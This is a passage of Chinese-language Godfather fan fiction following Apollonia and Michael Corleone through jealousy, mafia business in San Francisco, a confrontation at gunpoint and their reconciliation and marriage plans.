他慢吞吞地站起来,小腿像义肢般麻木,一瘸一拐地走过去,在即将步入屋内投射而出的温暖光晕的前一刻,他伸出手,掌心躺着碎成几截的木戒指,和早已干涸的血渍。
原来那些骄纵的要求、粗暴的牙印抓痕并非依赖、亲昵的象征。
原来在她心里,他与玩物无甚不同。
25.第 25 章
临近九点,客人们陆续离去,汤姆在卡梅拉的示意下彬彬有礼地提醒准女婿离开,这才分开未婚夫妇相握的手。
送瑞奇回城的福特轿车彻底消失在林荫道的入口,康妮依依不舍地收回目光,粉色裙摆萎靡地拖过草坪和石子路,仿佛浑身精气神都被抽走了。
帮忙收拾宴会现场的扈从家眷回到前头几幢别墅,汤姆也带着老婆回了隔壁自己家,纽扣人锁上大铁门。
大宅恢复静谧,被无尽延伸的空旷包围着。
艾波安慰道:“等结婚你们就能在一起了。”
“那至少要万圣节吧。”康妮叹气道。
想多了妹妹,复活节能结婚就不错了。合资酒店地基刚打完,纵使如今美国的基建能力世界第一,到酒店落成营业,少说也要五六个月。这中间但凡有人招待卡洛.瑞奇参加几次好莱坞的酒宴,尝过纸醉金迷、众星捧月的滋味,他大概不会愿意回纽约被教父和桑尼管束了。
但她当然不能那么回。
艾波推开家门,“男人嘛,总是以事业为重的,难道你希望他以后被人说是靠老婆的怂货?”
康妮态度有所松动,犹豫着说:“可、先结婚也不妨碍他做出一番大事业呀……”
艾波牵起她被夜风吹得凉凉的小手,拉着她往二楼走:“你是我们家的公主,只有真正的勇士才能得到你,内华达是爸爸给卡洛的考验。这样想,事情是不是变得更”
浪漫。脚步一顿,这个词也悬而未决地停在嘴边,因为她瞧见站在楼梯口的男人。
楼上没有开灯,黑暗仿佛沉重的雾气自走廊伸出飘出,沿着台阶弥漫而下。他依旧是宴席上那身浅米色套装,鲜明地立于灯光照不透的黑雾里,无端让人觉得阴鸷冷郁。
康妮也看到了他。
“迈克!你吓我们一跳!”她嗔怪一句,松开艾波的手,踩着台阶蹬蹬蹬跑上去,“别生卡洛气了,大家很快是一家人啦。”
康妮向板着一张脸、曾和未婚夫起过冲突的兄长撒娇。
“我不生气。”他微笑着,视线如同谷间溪水,虚飘飘地落下来,像在看台阶上方的康妮,又像在看底下的她,“最重要的事,是你的开心。”
“是的!”康妮快速地啄了他脸颊一口,“谢谢你,迈克。”
艾波本能地感到不对劲,正想要说话,起居室电话响了。两秒后,传来桑蒂诺的大喊:“艾波!程找你!”
“快去接电话。”康妮跟着说。
她依言收回向上迈出的步子,转身往起居室走进去。即将拐入起居室入口那道仿罗马柱时,下意识回头看了一眼。
他肃立在木头护栏之后,清泠泠的眼神,漆黑的眼珠仿佛要和身后的黑暗融为一体。
“艾波洛尼亚——快来接,桑德拉催我回去了!”
“来了来了。”她小跑着拿起电话听筒,“晚上好,乔义。”
“艾波!我们没有猜错,阿龙拍来电报,他手下人垃圾场里发现拆成一块块的木箱条,上面有我们的编号。”他倒豆子般说,“我看了号码,是去年沉船上的那一批。”
阿龙是旧金山堂口的负责人,和纽约的布奇其奥家族一样,做一些运送、处理垃圾的活计。不过,这些年泡面生意蒸蒸日上,这部分业务渐渐脱手、转包给墨西哥人,堂口仅作监督。
去年运送捐赠物资的远洋轮船沉没的消息一公开,艾波便让各个堂口留意,是否存在船讯造假、倒卖物资的可能性。
“蹲了一年,可算等到了。”某人奇怪的表现转瞬抛诸脑后,艾波笑道,“我就说,银行里那些小黄鱼总要有些来处的嘛。不然,我可得向他们讨教讨教点石成金之术了。”
却没有等来电话那头的笑声。乔义低低地唤了她名字一声,字正腔圆的国语。
艾波收起玩笑,问:“怎么了?”
“等等,”心底隐隐有猜测,她快速问,“电话不方便,你在哪里?我现在就来。”
“我在锁店,给你炸二两花生?”
“行。”
她挂断电话,走到玄关衣架前取下风衣穿上,听到下楼的脚步声,她没有抬头,径自说:“我出去一趟,可能晚上不回来了。”
“你要去见程乔义。”陈述句的语气,缓慢而低沉,仿佛颂念绵长的十四行诗。
她给风衣腰带打结,“对啊,刚刚我接电话的时候你也听到了呀。”
“你有没有想过这可能是个陷阱?”他来到她身边,不远不近的距离,“现在太迟了,只要有人在进城途中伏击,你可能就……”
大晚上的,说什么不吉利的话,艾波抬头瞪他:“我会安排妥当的。”
“带上我。”他说道,一瞬不瞬地回望着她,眼眸深得几乎像无风的河湾,令人窒闷的沉寂。
犹豫一瞬,到底还是拒绝了:“下次吧。”
蒙头推开大门,她点了一名值夜的纽扣人作为司机。汽车驶出大铁门时,她向后望了一眼。
橙黄灯光呈长方形镶在黑魆的夜晚,他站在那暖色调门框的正中,却前所未有的落寞,如同被挖去一块人形的阴影的彩纸。
战争还未结束,全美仍在执行燃油配给,加上深夜,马路空空荡荡。纽扣人卡尔踩足油门,一路飙车,不到半个钟头,福特就驶进了唐人街。
最后一场电影刚刚散场,街上行人不少,许多人顺路坐下吃完面条,空气中飘荡着各种鲜美汤头的香味。她给了卡尔五刀,让他去对面的面馆吃点儿,独自走进那间不起眼的锁店。
乔义坐在老位置,面前膝盖高的凳子上摆着一碟花生米,一壶黄酒、两只青花酒盅。
艾波拖过椅子,在他身边坐下,“你想回国了?”
他笑着给她斟酒:“真是什么都瞒不过你。”
两只酒盅轻轻一碰,艾波仰头咽下酒,听到他说:“你不要以为这是一时冲动,我着实考虑了很久。一来,我阿爸渐老,总念叨要给阿耶祭扫,可战火绵延,我们兄妹属实不放心他回去,作为长子,我自当仁不让。”
乔义叹了一口气,像是拧开轮胎的气门芯,继续说:“二来,我多年苦劝,秀锦仍不愿来美。书信、电报三言两语总也说不清楚,我想与她当面谈谈,如果她另有中意的人,正好可以当面解除婚约。虽总说自由恋爱、自由恋爱,可与她相识这么多年,我早已把她看作我的妻子。既然她不来,我去便是了。”
“三来,虽然大战差不多要结束了,但你比我清楚,还有另一场仗要打。这几天的党派六大,常已经明说清共是第一要务。我想着亲自押一船物资回去,资助之余,顺带杀杀那损公肥私之人的气焰。”
出于谨慎,他没有说得很清楚,但艾波已经全然理解了,苦笑着斟酒,“这三点,孝悌、私情乃至大义占全了,我焉有不答应之理?”
乔义举杯敬她,“我知道你也在紧要关头,实在对不住。”
艾波笑一笑,要不是身份不合适,她也想回去。仰头将酒一饮而尽,“准备什么时候启程?”
“下月初十。”他掀唇笑,“总得给你交接、交接,处理一些人吧?”
艾波又笑了,讲起今晚的进展。两人一直聊到天蒙蒙亮,楼顶的公鸡喔喔打鸣,她索性吃了一碗面才和卡尔返回长岛。
回到家,维多、弗雷多已经去布朗克斯的橄榄油进出口公司,桑蒂诺在隔壁还没起,卡梅拉带康妮进城买东西去了,留下桑德拉和特蕾莎在餐厅对着昨晚剩下的满桌子食物发愁。
“让迈克也带点回学校?”艾波说,“他租的公寓总有冰箱吧,多少能解决掉一些。”
桑德拉拿着餐刀一块块分割蛋糕,装进锡纸碗里,“他一大早就回学校了。”
艾波一怔。
特蕾莎给这些锡碗封口,“也不知道什么事,七点多就闷声不响地走了。这是妈妈的原话。”
艾波大概知道怎么一回事,八成在为昨晚的事生气:既不理他,也不听他的劝、大晚上跑去见其他人。
气量真小。
后面一周,她彻底忙了。
乔义手上的活,满山满谷的多,并且繁琐复杂,大到各地方便面工厂下一季度的预算,小到唐人街的垃圾桶位置,全需要人做决定。好在大学已经确定,维多帮忙写了一份证明,她得以提前高中毕业,多出不少时间。
纽约的工作粗略交接完,艾波和乔义临时飞一趟美西,黑市上寻摸了一圈,果然抓到七八只小老鼠。
一排男人麻绳反手缚住地跪在地上,嘴里骂骂咧咧,讲着一些性别和生殖器的脏话。乔义示意手下把臭袜子塞回他们的嘴,宣告处置办法——枪毙。
艾波在一旁默默看着,忽然想起今天是周五,她忘记和某人说自己不在纽约了。
别傻乎乎的空跑一趟吧。这么想着,她走出审讯的房间,来到外面的杂货铺,拎起店里的电话先拨回长岛。
卡梅拉接起,“迈克?这周没回家啊。你怎么样?旧金山热吗?累不累?”
艾波一一回答,挂断通话,沉默着盯着数字按钮看了好几秒,还是按下了一串号码。
“谁?”接电话的是一个苍老的男声,是公寓的门房。
艾波:“我找迈克尔.科里昂,我是、”
她沉默一瞬,还是没法将那个词说出口,“我是他的妹妹,艾波洛尼亚。”
“好的,稍等。”啪嗒搁在桌面。
等下她该说什么?唔,首先得说她想他了,然后再解释解释忙碌的一周,并提前为接下来几周的缺席道歉,最后再画一个饼——预计七月中旬能空下来,他也放假了,她们可以去迈阿密度假。
过了五分钟不到,听筒再次被拿起,他的声音自那头传来,懒洋洋的,“什么事?”
原本脱口而出的话一下子卡住,艾波捏紧话筒,凝了凝神,也回以漫不经心:“我在旧金山,没什么事,就怕你回纽约找不到我,浪费了酒店钱。”
他轻笑一声,“为什么要找你?”
“毕竟——”他拖长了音,仿佛跑调的琴弦,“你只是我的妹妹啊。”
哈。艾波忽然觉得自己像钱包破了一个口子,里面的钱呼啦啦漏一地还不自知的人。她问:“迈克,你确定要这样吗?”
他没有回答,只有一重又一重浅淡的呼吸透过电流、横跨一整个美国传来。
“艾波?”乔义从拐角处探出头,目光询问是否有情况。
她冲他摆摆手,转头对电话那头沉默的男人说:“既然这样”
话未说完,对面啪地挂断,只留下一串密密麻麻的忙音。
好、很好。迈克尔.科里昂。
她深呼一口气,推开特制的隔音门,走回里间。
亮如白昼的白炽灯底下,呜呜声顽强不堪地响着,如同菜市场倒吊着放血的鸡。
看着这群矮壮的、脸通红的男人,艾波笑了,“乔义,既然他们不服气,不如我们再提供另外一条路。”
“什么路?”乔义配合地搭腔,“不会是黄泉路吧?”
“开擂台。打赢我,我不仅放你们一条生路,还附送五千美金和一张船票,欧洲、亚洲、大洋洲、南美洲任选。输了的话,”她垂下眼眸,正反面打量自己的手,“那至少能多活几天。”
“既然搞,就要搞得风风光光。”乔义这样说
艾波明白他的意思,借此擂台正式把她介绍给地下世界,奠定地位。
第一轮比赛在五天后。卡洛.瑞奇闻讯从维加斯赶来,比赛结束,他哆哆嗦嗦地和她握了个手,不敢和她对视。
隔了大半个月,舆论发酵,乔义回了国、地下世界出现赌盘,第二轮比赛擂台。桑蒂诺大老远跑来旧金山,替她压阵、喝彩。
这回她逐渐上手,并剪去长发,打得更快、更残酷。
两轮比赛,跨度一个半月,西海岸黑手党头目与她碰面,总要带三四名保镖。她得到了他们的尊重与畏惧,以及大量的金钱。
畅快吗?当然是畅快的。权力的滋味远比任何爱恋来得甘美,她甚至不用开口,手底下的人自然会把她多看了一眼的好莱坞男星电话告诉她,如果她再多瞧一眼,可能连对方常驻酒店套房的钥匙也有了。
七月初的这一天,一名棕褐卷发的男孩出现在旧金山万里云酒楼的装修现场,领着他的是好莱坞唐.法尔康的副手之一,约瑟芬.麦迪森。
这位矮胖的意大利黑手党言谈举止也染上一丝好莱坞风度,言辞恳切地表示,这位是他的妻弟,演戏的间歇希望来她这里工作,体验生活。
艾波打量和她差不多年纪大男孩,五官立体、下颌线削直,蜜棕的皮肤搭配绿灰的眼珠,竟有几分钱老板年轻时的神韵。
她留下了男孩,但在当夜里搭乘最晚的一班飞机返回纽约——和他相比,好像任何人都显得索然无味。不,更确切的说,她不敢、不愿也无法在他之外的人身上交付耳鬓厮磨的信任。
“迈克?”回来得太突然,卡梅拉忙前忙后地给她弄吃的,“他说要补修落下的学分,假期要帮教授做些计算。”
这样啊。艾波望着面前的奶酪、苹果、萨拉米和咖啡,一口一口慢慢地咀嚼。
就像她忙于工作,他也没有义务一定要围着她转。
“妈妈,我吃饱了,”艾波放下咖啡杯说,“帮我和迈克说一声,我想和他谈谈。”
至于要谈什么?艾波其实并不知道。她只是想要见见他,确认自己是否还喜欢他。
说来也巧,这年的圣母升天节前一天恰好是七夕节。可迈克尔.科里昂没有回来。
卡梅拉不愿讲原因,弗雷德大着嘴巴说:“他要陪女朋友。是他的学妹,家就在达特茅斯边上那个小镇。我问他要过照片,浅色头发、白白细细的姑娘。”
女朋友啊……艾波平静地吃完午餐饭,放下刀叉、慢吞吞地站起来,说:“妈妈,抱歉今天不能帮您收拾餐盘了。”
她看向上首的维多.科里昂:“爸爸,我也要向您道歉。为即将给您儿子造成的伤害。”
大家长没有赞成也没有反对,只说了一句:“路上小心,记得带持枪证。”
*
25
迈克尔混混沌沌地
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回到房间,心脏远比炮弹击中还要来得痛,仿佛碎成恶心的无数块,和泥巴混合在一起。他想要蜷缩进被子里,像瑟瑟发抖的可怜蛋。这是身体的自我保护机制,远离痛苦的来源。他知道。
但最终,他站到了窗边。灯光笼住林荫道连绵的树冠,只能看到她和汤姆,以及那位迷住康纳的、帮助她编织令他无法逃脱陷阱的金发女生。
宾客逐渐散去,大铁门合拢,只剩下她和康妮,一前一后地往屋内走。
她说男人要以事业为重。难道这就是程乔义吸引她的地方?工作狂?他才不相信,这不过是她哄骗康妮的假话。
迈克尔不得不承认,这一步她走得极棒。卡洛.瑞奇多半会倒在西部的销金窟了,到时父亲只能遗憾地摊开双手,准女婿没有接住这份幸运的责任。
那对他呢?是否也有如此算计,玩腻了就将他一脚踹开?到时他能怎么办?像被坏小子欺负的小姑娘一样,找父亲兄弟帮忙?到那时,迈克尔不认为桑尼斗得过她,甚至年迈的父亲也不是她的对手。
他越想越冷,越想越觉得恐怖。既为她不爱他的现在,也为终将被她抛弃的未来。
康妮发现站在楼梯口的他,她也抬眸向上望来,那双眼睛被灯光穿透,竟呈现流光溢彩的心醉魅力。
——他的艾波如此完美。
一时之间,先前的怨愤、质疑都像被明媚阳光驱散,他不由自主地说出了心里话。
只要她开心,只要她的目光还落在他的身上,那一切问题似乎都变得不足轻重,不值得他纠结了。
可是,这注定像东方俗语的镜中花、水中月一般虚幻。她接起了程乔义的电话,他听不懂他们讲的内容,可那发自内心的轻松与调侃不似作伪。
她一定很开心,开心到竟然大晚上要去唐人街。
他阻止着,说着一些似是而非的理由。喉咙在颤抖,为避免发出似尖叫似哀嚎的可笑声音,他说得又慢又重,一字一顿,看起来一定诡异极了。
当然没有留住她,像一阵风般的离去,在冷峻而漆黑无垠的黑夜。他在起居室静坐,直到晨曦给窗户、地板染上一层白光,才僵硬着身体站起来,回到楼上收拾行李。
他气得想要笑,思绪乱得不像话,完全无法集中精力,以至于连笑都笑不出了。胸口的疼痛再次出现,仿佛迫击炮一发又一发地落下,伴随不均匀的抽搐。
他拎包下楼,望着母亲诧异的面庞,以超越□□的冷静说:“学校里还有事,短期之内不会回家了。”
母亲素来不插手他们的工作和学业,只点点头,侧身穿过他,敲响康妮的卧室门叫她起床。
回到达特茅斯,布兰德利感到诧异,“怎么这么早就回来了?不趁周末和你的小女朋友多亲近亲近?”
迈克尔感到困乏至极,什么都不想说,抛下一句:“都结束了。”把自己锁进卧室。
时间对他来说失去了意义,他像是一块烂肉,喝酒、抽烟、上课……她再次出现在梦里,窈窕婀娜,只不过这次,他欣然接受,像是古希腊古罗马最荒淫无度的君主,在虚幻的梦境发泄着爱欲。
某天下午,公寓门被敲响,是黑人管家,“科里昂先生,您妹妹打电话找您。”
妹妹?康妮好端端的给他打什么电话,不会是想要他求情把卡洛搞回来吧?迈克尔一阵心烦,正想要开口拒绝,门外人补充道:“她叫艾波洛尼亚。”
身体快过大脑,等他反应过来时,人已经在楼梯间往下走了。接起电话前,他定了定神,用满不在乎的语气:“什么事?”
只有他知道握听筒的手有多紧,吐出的气有多轻,唯恐惊扰到对面的人。
她说她在旧金山。迈克尔想,只要她流露出哪怕一星半点的思念,他立刻想尽一切办法赶到她身边。
可她关心的只有钱。迈克尔意识到自己方才一瞬间的希冀是多么可笑,自嘲地笑道:“为什么要找你?”
他只是一个可以随意处置、想忽视就忽视的人,甚至连桑尼都不如。
她是敏锐的,察觉到他的不对劲,语气冷厉地问他是否要这样。
他当然不想这样,他想成她的唯一,成为她生命生活中最不可或缺的一部分。
迈克尔组织着语言,想要找出另一种说话,让这话听起来没有那么无自尊,无底线。
幸好他没来得及说。她和程乔义在一起,电话后面几乎没有背景声音,显然在安静的私人场所。她一定在试探他的底线,想让他心甘情愿接纳程乔义。哦不,也许他只是工具、是她试探程乔义的工具。
她开口了,“既然如此…”
迈克尔忽然感到一阵恐慌,既害怕她要求和他继续保持纯粹□□的关系,更害怕她为了程乔义和他一刀两断。
手上的话筒变得着火般烫,望着丢回座机的话筒,他想,他就是个懦夫。
他不敢回家,不敢向桑尼、弗雷多打听她的消息,整日龟缩在达特茅斯,连波士顿都不敢去,就怕想起她。
“你总没办法一直多下去的。”布兰德利看穿他的卑懦,“我不知道你的前女友和你家关系有多好,但纽约就这么大,只要你毕业回去,迟早会遇见。”
“那怎么办?”他的手捂住脸。他宁可事情一直这样悬而未决,也好过她明确告诉他出局了。
“这还不容易,再谈一个咯。”
紧接着他说起学校的女生,漂亮的、聪慧的、黑发的、金发的……“她们都很好,”迈克尔脸依旧埋在掌心,“可她们全都不是她。”
“当你一半的人生都花在一个人身上的时候,你不由自主就会变成她的形状。”他苦笑着说。
“诶,我又不是让你真的找一个对象。”记者笑眯眯地说,“按照你的说法,你们睡都睡过了,她也不是不喜欢你。只是没那么喜欢,既然如此,你不如炮制一个女友。让她嫉妒。”
“嫉妒?”迈克尔猛摇头,“不行,她会哭。”
他不舍得让艾波也感受他这些天的痛苦。
布兰德利一时噎住,缓了缓继续说道:“只是试一试,不会发生什么的。这样,我帮你搞个漂亮小妞的照片来,到时你把它寄给家里最八卦的那个人,然后翘掉一次家族聚餐。什么都不用说,他们自然会脑补出事件。新闻学的魅力!”
迈克尔仍在犹豫,布兰德利已经在纸上列下一串名字:“放心吧,我给你找的漂亮妞肯定和小女友长得一点儿都不像,到时候你就说这是一场误会,你怎么可能喜欢她之类的话。”
真的有用吗?
五天之后,晚餐结束回到公寓,他打开灯,瞧见艾波近乎奇迹般地出现在他的客厅。
“迈克尔.科里昂。”她恶狠狠地、咬牙切齿地嚼着他的名字,瑰丽的紫眼喷薄欲出的怒气,“你给我说清楚。”
迈克尔却感到前所未有的好,仿佛船只飘进了港湾、老天爷大发慈悲结束漫长闷热的雨季,灵魂发出睽违已久的欢欣。
全世界最浮夸的词藻都不足以形容她的迷人,就连k抵在他胸口的、上膛的那把半自动,也是那么值得他爱。
26.Chapter26
他怎么敢?他怎么敢?
前往达特茅斯的途中,木杵敲击大钟后的余波回响,这句话反复在艾波脑内飘荡,中文的、英语的、意大利语的,经久不息。
作为桑蒂诺.科里昂的弟弟,迈克尔.科里昂见一个爱一个倒也合情合理。呵、佩戴勋章的战斗英雄,在女孩面前无往不利吧。她不免酸溜溜地想。
驱车驶过反光到刺眼的海湾,一路北上,经过斯普林菲尔德,之后便再无城市,高耸的树木如同深绿的峡谷挤压公路,深浅不一的绿色铺天盖地充斥眼帘。
午后的夏日凉风掠过山林,浸透了草木的潮湿空气涌入车内,她深深地呼吸,凉爽的空气填满肺部,逐渐平静下来。
事情很简单。她只要一个答案、一个句号。这场暧昧纠缠起始于她的一时兴起,那也该由她画下句号,而不是像现在这样,不明白白地结束。
她当然该生气。任何一个人被这样莫名其妙分手都该生气,这是对她尊严和人格的践踏。他将她看作什么了?是觉得她不敢做什么吗?
必须得承认,她对迈克尔仍存在渴望,那迈克尔呢?显然这是个错误的设问。正确的提问应当是,她是否愿意承担抛开理性惩罚他所带来的一切后果。
维多.科里昂站在她这边,这是毋庸置疑的,她和他的结合,将使帝国的版图扩大一倍,而迈克尔将拥有更为坚实的后盾,向高位进发。
但结合……艾波扯动嘴角,既然他连照片都给弗雷多看了,那至少代表着他喜爱那姑娘。她可不想十几二十年后的某一天,突然冒出一个他的私生子,堂而皇之地要继承夫妻共有的帝国。
要说放过他,她总不甘心。在不算短促的生命和记忆里,她从未如此强烈的想要一个人,想要得到他全部的爱与情感。因此她才会那么愤怒,愤怒到想要打断他的腿、皮带把他吊起来、扼住他的咽喉,让他痛得喘息、无法再多说一个她不爱听的字。
他怎么敢?他怎么敢?
直到抵达他租住的公寓,混乱的情绪依然没有得到澄清。愤怒与嫉妒的狂风远比吹动枝桠沙沙作响的晚风来得猛烈。
公寓门房的窗户紧闭,架着老花镜的黑老头脑袋一点一点地打盹。
艾波敲敲玻璃:“晚上好,我找迈克尔.科里昂。”
“迈克尔.科里昂?”黑老头反应迟钝地看她,“学生们还没回来。”
“我是他的妹妹,艾波洛尼亚,上个月打过电话来。”她轻快地说着,递出某年圣诞节的全家福证明身份,“听说他有女朋友了,家里让我来看一眼。我可以去他公寓等吗?”
黑老头都没仔细看照片,就从抽屉里拿出钥匙,领着她往楼上走。一大串钥匙零零铛铛的,如同银色的手摇铃。
开门的时候,这铃声更响了,沙拉沙拉地旋转,艾波问:“您见过那位姑娘吗?”
“姑娘?没有!”黑老头推开门,嘟嘟囔囔转身,“派个姑娘来抓同,真是不着调。”
这话彻底把艾波弄糊涂了。她思绪本就乱作一团,现在更是不知道该怎么办——
所以迈克尔.科里昂是个双?所谓的女朋友不会是幌子,他另有同性情人?或者说她才是那个例外?
她想起几个月前的那一顿晚餐,她确定了他潜藏的感情,认为他可能早就喜欢她,结合桑蒂诺说的、他参战前乃至参战时都不知道她是女孩,那是否存在一种可能,迈克尔.科里昂至始至终喜欢的都是作为男孩的她?
和她的物理关系不过是骑虎难下,这几个月他们的分离正好让他找回了自我?
公寓门被风砰地带上,墙面上的夕阳逐渐消失,沉入夜色的黑暗,不知过了多久,门外传来拧动锁芯的声音。
艾波骤然醒转,手下意识伸进包里握住半自动手枪。随即她意识到自己危险的思想,竟然真的起了杀心,不由低头笑了笑。等不到的就要毁掉吗?
门打开了,他按亮了灯,一瞬间的白光,照得一切无所遁形。两个多月未见,他瘦了许多,两颊微微凹陷,下颌呈锋利的梯形。
而那双时常让她想要亲吻的大眼睛,像是一汪干涸的泉水,充斥着沙粒般的疲惫与倦怠。
心脏本能地揪起,下一秒,她拿出手枪、咔哒一声利落地上膛,愤怒地抵向他左胸。说不清这火是对他的,还是对自己的。
“迈克尔.科里昂,你给我说清楚,”枪口怼得肌肉下凹,她恨不得立刻就扣下板机,“这到底是怎么回事。”
可他呢?竟然露出一个智商高不超过九十的愚蠢笑容,仿佛被从天而降的金币砸得脑袋发晕。一个劲儿地咧嘴傻笑。
“不许笑!”枪口用力捅他,“不要以为你这样就能骗到我,给弗雷多看到照片上的那个女孩不过是幌子。”
他的笑凝滞一瞬,随即扩大:“是啊。”
好好好。艾波气得想要发抖,她并不歧视同性恋,但发生在自己身上,恶心得难以言明。
手指扣上板机,“最后一个问题。”
他依然恬不知耻地笑着。
艾波深呼吸竭力保持平静,扣住板机的指尖微勾,“他是谁。”
“我爱你。”
“砰——”
沙发炸开的绵絮如同浮游生物飘荡在灯光里,微烫的手木仓砸落在地。
“你说什么?”伫立不动,轮到她变成了那个傻瓜。
面对刚刚发生枪击的狼藉,男人以一种绝对不合乎常理的态度,应该说平静到癫狂的微笑,捧起她的手——拿过枪的、没拿过枪的——贴到自己嘴唇上,“艾波洛尼亚.维太里。没有其他人。永远只有你。”
她才不会信他这种鬼话,他只是怕她把真相告诉父母。但渐渐地,泪水涌现了上来,眼前变得模糊不轻,她垂下朦胧地眼,泪珠便凉凉地划过脸庞。
他慌乱起来,伸手想要替她拭去泪水,被她偏头躲过,“我凭什么相信你。”
“你当然可以不相信我,”如同一只蜻蜓落在肩头,他尝试着轻轻伸手环住她,“你完全可以把我看作一个虚伪的、肤浅的、变态的骗子。因为我就是这样一个人。”
“你这个笨蛋该死的知不知道在说什么?”由着他圈进怀里,脸颊贴上他的左肩,艾波闷闷地说。
“你不要不相信,早在十年前,我就发誓要和你永远在一起了。”
“我才十岁吧,要真是这样,”艾波啐道,“变态!”
迈克尔发出愉快的笑声,“我说不上来喜欢你哪里,只觉得你可爱得、强大得让人不敢相信眼睛。你知道吗,我以前还想过把康妮嫁给你,这样我们永远是一家人。我甚至盘算好了,让康妮生三个孩子,两个男孩一个女孩,我既是他们的伯伯又是他们的教父,将是他们心中除你之外最重要的人。而且,换个角度想想,康妮和我拥有相同父母,你们的孩子几乎等同于我们的孩子。”
这么看,这家伙确实变态。艾波抬头打量他,灯光照亮的眼底,就像虔诚朝圣者跪往圣地时的膝盖裹布那样千疮百孔的疯狂。
“可我是个女孩。”她陈述道。
“是啊。”他不由自我地凑近嗅闻她的短发,“从你十四岁击败我开始,每次祷告我都虔诚地祈求上帝宽恕我的罪恶,竟然在梦里将你想作女孩。”
“所以,当看到穿裙子的你,我的第一反应,一切都是梦境,可谁知道…”他喃喃道,“美梦成真了呢……”
他的拥抱、他的体温乃至从他身上传来的脉脉气息,无一不侵扰神经。艾波动了动脑袋,稍稍撤出他的怀抱,“这些我姑且信你了。那康妮订婚宴那天为什么又不告而别?”
他沉默了,嘴唇紧紧抿起。
“啊哈!”艾波伸手捏他只剩一层皮的腮帮子,“被我问住了吧。”
他垂着睫毛,一副惹人爱怜的模样,半晌,低声说:“我听到你和加西亚的对话了。我以为你、以为你只喜欢我的身体。毕竟,我们每次都那么的…疯狂。”
他顿了顿,侧头吻她因掐他脸而蜷起的后几个手指关节:“相比于我们,你和程
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乔义,你们的关系,理智又默契,这让我怎么能不信?怎么能不嫉妒……”
这下,逻辑全通了。艾波一阵好笑,“所以旧金山那次电话也是你在嫉妒?”
他闭口不言,但点点头。
怎么有这么可爱的人。艾波左瞧瞧他,右瞧瞧他,坏心眼儿地问:“那现在给你一个机会,让你坐乔义的位置、干他的活儿,我像信任他一样信任你,你做吗?”
他皱起眉毛,疑心很重:“你是不是已经和他睡过了?”
艾波不觉得他可爱了,只觉得这人欠揍,狠狠拧他胳膊:“在你心里我就这么没有自制力吗!”
他疼得脸都皱起来了,好在这时候门房敲门询问方才的枪声。迈克尔连忙解释说是枪走火了,又塞了两美金过去。
黑老头却坚持要见艾波,“您的妹妹没有受伤吧?”
所幸眼泪已经没了,艾波伸出头和他打招呼,他这才放心的离去。
重新合上门,艾波也不生气了,拉过椅子坐下:“我饿了。”
“方便面可以吗?”迈克尔翻看小橱柜,“番茄牛肉的?”
“嗯哼,”她翘起腿,“加点奶酪,最好是布里。”
*
她真的来了。正鲜活的、怒气冲冲地拿枪指着他。
这一刻,迈克尔想,就是死在她手上也是值得的。她总有杀他的理由。无论如何他都接受。这条命,早在那场酷烈的战役便该结束,如今这般,不过更完满罢了。
当然,还能更完美一些,他对她说了爱。
这个词实在难以说出口,但想到这可能是对她说的最后一句话,似乎没有那么难了。
可她竟然没有忍心对他下手。那颗偏移的子弹仿佛正正好射中他的心脏,这下子,迈克尔就知道了,她也有软肋。
真是心软的姑娘,她该杀了他的,最好将他打成血肉模糊的、下了地狱也爬不上来的一团烂肉,不然他会想尽办法回到她身边。
嘴里说着似是而非的坏话,而心底真实的想法远比他口中的更为恶心——他想像安康鱼一样永远地成为她的一部分。
他好像永远都爱不够她。毋需外界新奇事件带来的活力,仅一间小屋,一碗泡面,他们就能恢复往日的亲密无间。
这种亲密不仅存在于□□,更是精神上的,她好像总能理解他的意思,强硬、直接、敏锐,她的思维兼具了男人的自信和女人的细腻。他们谈论着战后的世界局势,谈论着地球上已然孕育出雏形的两个庞然大物。
她的想法很左,但她的行事风格又很右。迈克尔实在其他讲清楚,但他保证,哪怕是国会里的议员也不会比她更知道接下来该怎么做。
这些可以算作真知灼见的东西,就隐藏在汗水濡湿的额头、柔软滚烫的唇瓣,在彼此缠绕的双臂,异乎寻常的坚定而坦诚。
他们之间的爱欲好像也因为此种交流而变得愈加旺盛,参杂了勃勃野心与欲望,形形色色的欢悦快感,让他心醉神迷,每一天都比前一天更爱她。
她千里来寻他,这件事让全家都知道了恋情。其中以费雷多大为震惊,以虔诚的卫道士姿态猛烈抨击他,认定是他诱拐了艾波。
是就是吧,迈克尔无所谓。
不过,父亲含蓄地向他表示,当下纽约时局未稳,不仅无法给他们办婚礼,甚至不能对外公开他们的关系。除此之外,她压根儿没有打算读达特茅斯,纽约要管的事情太多,九月她进入哥伦比亚念了经济。
迈克尔只能捏着鼻子认了,反正讨厌的程乔义已经离开,他在她心里至少能排进前三。有时候她吃饱喝足,运气好的话,也许听她亲口承认能第二的位置。
圣诞假期的第二天,他们一起躺在房间赖床,他忽然感到她摸着他脸的手不同寻常的触感。硬硬的一个圆环。
“快点,现在出发,我们能赶在市政厅下班前搞到文件。”她对他说。无名指是木嵌金的紫宝石戒指。
他迟疑着、不敢置信地问:“什么……文件?”
27.Chapter27
“当然是结婚证件。”艾波凑近吻他的下巴,才一天没修理,上面浅浅冒了一层胡茬,亲上去感觉不是很好,两口就住嘴了 ,“还是说你想要等我郑重地问问你父亲,向他提亲、再商量商量嫁妆,才愿意嫁给我?”
“艾波、我……”他声音结结巴巴的,“这、这太突然了…”
“突然吗?”她松开缠在他胸膛和脸庞的手,弯腰从床底下捞起胸衣,“我们该做的都做过了,彼此也认定、不想再找找其他人,至少目前为止是这样。”
“不止目前为止,”这回倒是不犯傻了,他插嘴纠正,“是永远。”
她扣好文胸,拍拍他暴露在空气中的肚子,有一层薄薄的肌肉,“赶紧起床!我明天后天乃至永远的丈夫。”
他却仍不放过她,计较起她方才的玩笑:“如果我不愿意偷偷摸摸结婚,一定要爸爸知道才愿意呢?”
艾波似笑非笑地瞧他:“你是希望我这样说吗?”
她换上坦诚真挚的笑容,严肃认真的语气:“亲爱的唐.维多.科里昂先生,我想要和您谈谈。我恳请您同意我和您儿子的婚事,并非年轻人的一时冲动,而是做好了相伴一生的准备,就像您和卡梅拉一样,相互扶持、共同进退。”
随着她话语,男人逐渐坐正,倚靠床头、被子堆在腰间、赤着胸膛,那双漆黑的大眼睛一瞬不瞬地凝望她,面色镇定得像检查笨学生背诵作业的老师。
“想知道我为什么说得这么顺吗?”她凑近吻他的唇瓣,看到掩藏在半长短发里的耳廓,红得几乎透明,右手搁上他温热细腻的肩膀,笑着说:“因为我真的这样对爸爸讲了。”
